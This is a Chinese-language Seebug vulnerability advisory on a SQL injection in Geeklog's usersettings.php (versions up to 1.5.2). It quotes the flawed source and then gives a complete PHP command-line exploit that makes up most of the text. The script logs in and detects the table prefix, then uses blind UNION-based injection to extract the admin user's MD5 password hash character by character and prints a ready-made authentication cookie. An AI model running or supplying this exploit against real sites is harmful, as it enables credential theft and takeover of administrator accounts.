Geeklog usersettings.php模块SQL注入漏洞

2009-04-18T00:00:00
ID SSV:5066
Type seebug
Reporter Root
Modified 2009-04-18T00:00:00

Description

BUGTRAQ ID: 34553

Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。

Geeklog的usersettings.php文件中的1467 - 1480行中存在SQL注入漏洞:

...
if (isset ($_USER['uid']) && ($_USER['uid'] > 1)) {
switch ($mode) {
case 'saveuser':
savepreferences ($_POST);
$display .= saveuser($_POST);
PLG_profileExtrasSave ();
break;

case 'savepreferences':

savepreferences ($_POST);
$display .= COM_refresh ($_CONF['site_url']
. '/usersettings.php?mode=preferences&msg=6');
break;
...

所有的$_POST[]变量都直接传送给了savepreferences()函数:

...
function savepreferences($A) {
global $_CONF, $_TABLES, $_USER;

if (isset ($A['noicons']) && ($A['noicons'] == 'on')) {
$A['noicons'] = 1;
} else {
$A['noicons'] = 0;
}
if (isset ($A['willing']) && ($A['willing'] == 'on')) {
$A['willing'] = 1;
} else {
$A['willing'] = 0;
}
if (isset ($A['noboxes']) && ($A['noboxes'] == 'on')) {
$A['noboxes'] = 1;
} else {
$A['noboxes'] = 0;
}
if (isset ($A['emailfromadmin']) && ($A['emailfromadmin'] == 'on')) {
$A['emailfromadmin'] = 1;
} else {
$A['emailfromadmin'] = 0;
}
if (isset ($A['emailfromuser']) && ($A['emailfromuser'] == 'on')) {
$A['emailfromuser'] = 1;
} else {
$A['emailfromuser'] = 0;
}
if (isset ($A['showonline']) && ($A['showonline'] == 'on')) {
$A['showonline'] = 1;
} else {
$A['showonline'] = 0;
}

$A['maxstories'] = COM_applyFilter ($A['maxstories'], true);
if (empty ($A['maxstories'])) {
$A['maxstories'] = 0;
} else if ($A['maxstories'] > 0) {
if ($A['maxstories'] < $_CONF['minnews']) {
$A['maxstories'] = $_CONF['minnews'];
}
}

$TIDS  = @array_values($A[$_TABLES['topics']]);
$AIDS  = @array_values($A['selauthors']);
$BOXES = @array_values($A["{$_TABLES['blocks']}"]); //<--------- this is $_POST[(prefix)blocks]  $ETIDS = @array_values($A['etids']);

$tids = '';
if (sizeof ($TIDS) > 0) {
$tids = addslashes (implode (' ', $TIDS));
}

$aids = '';
if (sizeof ($AIDS) > 0) {
$aids = addslashes (implode (' ', $AIDS));
}

$selectedblocks = '';
if (count ($BOXES) > 0) {
$boxes = addslashes (implode (',', $BOXES)); //<---------- this addslashes() is totally unuseful  
//**** SQL INJECTION HERE *** $boxes is not surrounded by quotes!
$blockresult = DB_query("SELECT bid,name FROM {$_TABLES['blocks']} WHERE bid NOT IN ($boxes)");  
$numRows = DB_numRows($blockresult);
for ($x = 1; $x <= $numRows; $x++) {
$row = DB_fetchArray ($blockresult);
if ($row['name'] <> 'user_block' AND $row['name'] <> 'admin_block' AND $row['name'] <> 'section_block') {  $selectedblocks .= $row['bid'];
if ($x <> $numRows) {
$selectedblocks .= ' ';
}
}
}
}
...

geeklog <= 1.5.2 Geeklog


目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

<a href=http://geeklog.sourceforge.net/ target=_blank rel=external nofollow>http://geeklog.sourceforge.net/</a>

                                        
                                            
                                                &lt;?php
    
    $err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
    $err[1] = &quot;[!] You need the curl extesion loaded!&quot;;
    
    if (php_sapi_name() &lt;&gt; &quot;cli&quot;) {
        die($err[0]);
    }
    if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl(&quot;php_curl.dll&quot;) ? die($err[1]) :
            nil;
        } else {
            !dl(&quot;php_curl.so&quot;) ? die($err[1]) :
            nil;
        }
    }
    
    function syntax() {
        print (
        &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [user] [pass] [OPTIONS]         \n&quot;. \
&quot;Options:                                                               \n&quot;. \
&quot;--c:[uid:hash    ]  - use your user cookie, instead of uses/pwd pair   \n&quot;. \
&quot;--port:[port]       - specify a port                                   \n&quot;. &quot;        \
default-&gt;80                                      \n&quot;. &quot;--uid:[n]           - specify \
an uid other than default (2,usually admin)\n&quot;. &quot;--proxy:[host:port] - use proxy      \
\n&quot;. &quot;--skiptest          - skip preliminary tests                             \n&quot;. \
&quot;--test              - run only tests                                     \n&quot;. \
&quot;Examples:   php &quot;.$argv[0].&quot; 192.168.0.1 /geeklog/ bookoo pass          \n&quot;. &quot;       \
php &quot;.$argv[0].&quot; 192.168.0.1 / bookoo pass --proxy:1.1.1.1:8080\n&quot;. &quot;            php \
&quot;.$argv[0].&quot; 192.168.0.1 / bookoo pass --uid:3             \n&quot;. &quot;            php \
&quot;.$argv[0].&quot; 192.168.0.1  /geeklog/ * * -c:3:5f4dcc3b5aa765d61d8327deb882cf99&quot;);
        die();
    }
    
    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];
    $_user = $argv[3];
    $_pwd = $argv[4];
    
    //default
    $uid = &quot;2&quot;;
    $where = &quot;uid=$uid&quot;; //user id, usually admin, anonymous = 1
    
    
    $argv[4] ? print(&quot;[*] Attacking...\n&quot;) :
    syntax();
    
    $_use_proxy = false;
    $port = 80;
    $_skiptest = false;
    $_test = false;
    $_use_ck = false;
    
    
    for ($i = 3; $i &lt; $argc; $i++) {
        
        if (stristr($argv[$i], &quot;--proxy:&quot;)) {
            $_use_proxy = true;
            $tmp = explode(&quot;:&quot;, $argv[$i]);
            $proxy_host = $tmp[1];
            $proxy_port = (int)$tmp[2];
        }
        if (stristr($argv[$i], &quot;--port:&quot;)) {
            $tmp = explode(&quot;:&quot;, $argv[$i]);
            $port = (int)$tmp[1];
        }
        
        if (stristr($argv[$i], &quot;--uid&quot;)) {
            $tmp = explode(&quot;:&quot;, $argv[$i]);
            $uid = (int)$tmp[1];
            $where = &quot;uid=$uid&quot;;
        }
        if (stristr($argv[$i], &quot;--skiptest&quot;)) {
            $_skiptest = true;
        }
        if (stristr($argv[$i], &quot;--test&quot;)) {
            $_test = true;
        }
        if (stristr($argv[$i], &quot;--c&quot;)) {
            $_use_ck = true;
            $tmp = explode(&quot;:&quot;, $argv[$i]);
            $tmp[1] = (int)$tmp[1];
            $cookies = &quot;geeklog=&quot;.$tmp[1].&quot;; password=&quot;.$tmp[2].&quot;;&quot;;
            
        }
    }
    
    function _s($url, $ck, $is_post, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request.&quot;\r\n&quot;);
        }
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, &quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; \
it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7&quot;);  curl_setopt($ch, CURLOPT_TIMEOUT, \
0);  curl_setopt($ch, CURLOPT_HEADER, 1);
        $cookies = array(&quot;Cookie: &quot;.$ck);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies);
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.&quot;:&quot;.$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            die(&quot;[!] &quot;.curl_error($ch).&quot;\n&quot;);
        } else {
            curl_close($ch);
        }
        return $_d;
    }
    
    function chk_err($s) {
        if (stripos ($s, \
&quot;\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\ \
x72\x72\x65\x64&quot;)) {  return true;
        } else {
            return false;
        }
    }
    
    function run_test() {
        global $host, $port, $path, $cookies, $url, $prefix;
        $_sql = &quot;)&quot;;
        $out = _s($url, $cookies, 1, \
&quot;mode=savepreferences&amp;&quot;.$prefix.&quot;blocks[0]=&quot;.urlencode($_sql).&quot;&amp;&quot;);  if \
(chk_err($out)) {  print(&quot;[*] Vulnerable!\n&quot;);
        } else {
            die (&quot;[!] Not vulnerable ...&quot;);
        }
    }
    
    function login() {
        global $host, $port, $path, $_user, $_pwd;
        $url = &quot;http://$host:$port&quot;.$path.&quot;users.php&quot;;
        $out = _s($url, &quot;&quot;, 1, &quot;loginname=$_user&amp;passwd=$_pwd&amp;submit=Login&quot;);
        $tmp = explode(&quot;\x0d\x0a\x0d\x0a&quot;, $out);
        $tmp = explode(&quot;\x53\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65\x3a\x20&quot;, $tmp[0]);
        $cookies = &quot;&quot;;
        for ($i = 1; $i &lt; count($tmp); $i++) {
            $tmp_i = explode(&quot;;&quot;, $tmp[$i]);
            $cookies .= $tmp_i[0].&quot;; &quot;;
        }
        if (stripos ($cookies, &quot;\x70\x61\x73\x73\x77\x6f\x72\x64&quot;)) {
            return $cookies;
        } else {
            die(&quot;[*] Unable to login!&quot;);
        }
        
    }
    
    function xtrct_prefix() {
        global $host, $port, $path, $cookies, $url;
        $out = _s($url, $cookies, 0, &quot;&quot;);
        $tmp = explode(&quot;\x62\x6c\x6f\x63\x6b\x73\x5b\x5d&quot;, $out);
        if (count($tmp) &lt; 2) {
            die(&quot;[!] Not logged in!&quot;);
        }
        $tmp = explode(&quot;\x22&quot;, $tmp[0]);
        $prefix = $tmp[count($tmp)-1];
        return $prefix;
    }
    
    function is_checked() {
        global $host, $port, $path, $cookies, $url;
        $out = _s($url, $cookies, 0, &quot;&quot;);
        $tmp = explode(&quot;\x62\x6c\x6f\x63\x6b\x73\x5b\x5d&quot;, $out);
        $tmp = explode(&quot;\x3e&quot;, $tmp[1]);
        $s = $tmp[0];
        if (stripos ($s, &quot;\x22\x63\x68\x65\x63\x6b\x65\x64\x22&quot;)) {
            return 1;
        } else {
            return 0;
        }
    }
    
    if (!$_use_ck) {
        $cookies = login();
    }
    
    $url = &quot;http://$host:$port&quot;.$path.&quot;usersettings.php&quot;;
    $prefix = xtrct_prefix();
    print &quot;[*] prefix-&gt;'&quot;.$prefix.&quot;'\n&quot;;
    
    if (!$_skiptest) {
        run_test();
    }
    if ($_test) {
        die;
    }
    
    #uncheck all boxes
    $rst_sql = &quot;0) AND 0 UNION SELECT 1,0x61646d696e5f626c6f636b FROM \
&quot;.$prefix.&quot;users WHERE &quot;.$where.&quot; LIMIT 1/*&quot;;  $out = _s($url, $cookies, 1, \
&quot;mode=savepreferences&amp;&quot;.$prefix.&quot;blocks[0]=&quot;.urlencode($rst_sql).&quot;&amp;&quot;);  #then start \
extraction  $c = array();
    $c = array_merge($c, range(0x30, 0x39));
    $c = array_merge($c, range(0x61, 0x66));
    $url = &quot;http://$host:$port&quot;.$path;
    $_hash = &quot;&quot;;
    print (&quot;[*] Initiating hash extraction ...\n&quot;);
    for ($j = 1; $j &lt; 0x21; $j++) {
        for ($i = 0; $i &lt;= 0xff; $i++) {
            $f = false;
            if (in_array($i, $c)) {
                $sql = &quot;0) AND 0 UNION SELECT 1,IF(ASCII(SUBSTR(passwd FROM $j FOR \
1))=$i,1,0x61646d696e5f626c6f636b) FROM &quot;.$prefix.&quot;users WHERE &quot;.$where.&quot; LIMIT 1/*&quot;; \
                $url = &quot;http://$host:$port&quot;.$path.&quot;usersettings.php&quot;;
                $out = _s($url, $cookies, 1, \
&quot;mode=savepreferences&amp;&quot;.$prefix.&quot;blocks[0]=&quot;.urlencode($sql).&quot;&amp;&quot;);  if (is_checked()) \
{  $f = true;
                    $_hash .= chr($i);
                    print &quot;[*] Md5 Hash: &quot;.$_hash.str_repeat(&quot;?&quot;, 0x20-$j).&quot;\n&quot;;
                    #if found , uncheck again
                    $out = _s($url, $cookies, 1, \
&quot;mode=savepreferences&amp;&quot;.$prefix.&quot;blocks[0]=&quot;.urlencode($rst_sql).&quot;&amp;&quot;);  break;
                }
            }
        }
        if ($f == false) {
            die(&quot;\n[!] Unknown error ...&quot;);
        }
    }
    print &quot;[*] Done! Cookie: geeklog=$uid; password=&quot;.$_hash.&quot;;\n&quot;;
?&gt;